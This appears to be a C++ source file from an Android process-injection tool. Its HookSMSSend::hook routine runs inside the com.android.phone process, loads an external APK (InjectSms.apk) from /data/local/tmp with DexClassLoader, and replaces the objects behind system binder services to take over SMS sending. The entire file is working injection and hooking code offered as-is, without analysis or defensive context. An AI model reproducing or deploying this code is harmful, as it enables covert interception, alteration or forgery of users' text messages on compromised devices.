#include "hooksmssend.h"
#include "log.h"
#include "public.h"
#include <stdio.h>
#include <utils/RefBase.h>
#include <binder/IServiceManager.h>
#include <binder/Binder.h>
#include "DummyJavaBBinder.h"


using namespace android;

HookSMSSend * HookSMSSend::m_pInstance = NULL;

HookSMSSend::HookSMSSend()
{
    hooked = false;
}

void HookSMSSend::hook()
{
    char sig_buffer[512] = "\0";

    LOGI("HookSMSSend::%s E", __FUNCTION__);
    if(hooked){
        LOGI("HookSMSSend::%s X have done", __FUNCTION__);
        return;
    }

    jvm->AttachCurrentThread(&jni_env, NULL);
    hooked = true;

    jstring apk_path = jni_env->NewStringUTF("/data/local/tmp/InjectSms.apk");
    jstring dex_out_path = jni_env->NewStringUTF("/data/data/com.android.phone/");
    jclass dexloader_claxx = jni_env->FindClass("dalvik/system/DexClassLoader");

    snprintf(sig_buffer, 512, "(%s%s%s%s)V", JSTRING, JSTRING, JSTRING, JCLASS_LOADER);
    jmethodID dexloader_init_method = jni_env->GetMethodID(dexloader_claxx, "<init>", sig_buffer);
    LOGI("init id=%p", dexloader_init_method);
    snprintf(sig_buffer, 512, "(%s)%s", JSTRING, JCLASS);
    jmethodID loadClass_method = jni_env->GetMethodID(dexloader_claxx, "loadClass", sig_buffer);
    LOGI("loadclassid=%p", loadClass_method);

    jobject class_loader = getSystemClassLoader(jni_env);
    LOGI("getSystemClassLoader finished...%p", class_loader);
    //check_value(class_loader);
    LOGI("step1...");
    jobject dex_loader_obj = jni_env->NewObject(dexloader_claxx, dexloader_init_method, apk_path, dex_out_path, NULL, class_loader);
    LOGI("step2...%p", dex_loader_obj);
    jstring class_name = jni_env->NewStringUTF("firear.injectsms.EntryClass");
    jclass entry_class = static_cast<jclass>(jni_env->CallObjectMethod(dex_loader_obj, loadClass_method, class_name));
    LOGI("step3...begin get method %p", entry_class);
    jmethodID invoke_method = jni_env->GetStaticMethodID(entry_class, "invoke", "()[Ljava/lang/Object;");
    //check_value(invoke_method);
    LOGI("get invoke %p", invoke_method);

    jobjectArray objectarray = (jobjectArray) jni_env->CallStaticObjectMethod(entry_class, invoke_method);
    //check_value(objectarray);

    jsize size = jni_env->GetArrayLength(objectarray);
    sp<IServiceManager> servicemanager = defaultServiceManager();

    LOGI("size is : %d",size);

    for (jsize i = 0; i < size; i += 2) {
        jstring name = static_cast<jstring>(jni_env->GetObjectArrayElement(objectarray, i));
        jobject obj = jni_env->GetObjectArrayElement(objectarray, i + 1);

        const char* c_name = jni_env->GetStringUTFChars(name, NULL);

        LOGI("c_name is %s",c_name);

        //bcz .get a java
        DummyJavaBBinder* binder = (DummyJavaBBinder*) servicemanager->getService(String16(c_name)).get();
        binder->changObj(jni_env->NewGlobalRef(obj));
    }
    jvm->DetachCurrentThread();
    LOGI("HookSMSSend::%s X", __FUNCTION__);
}

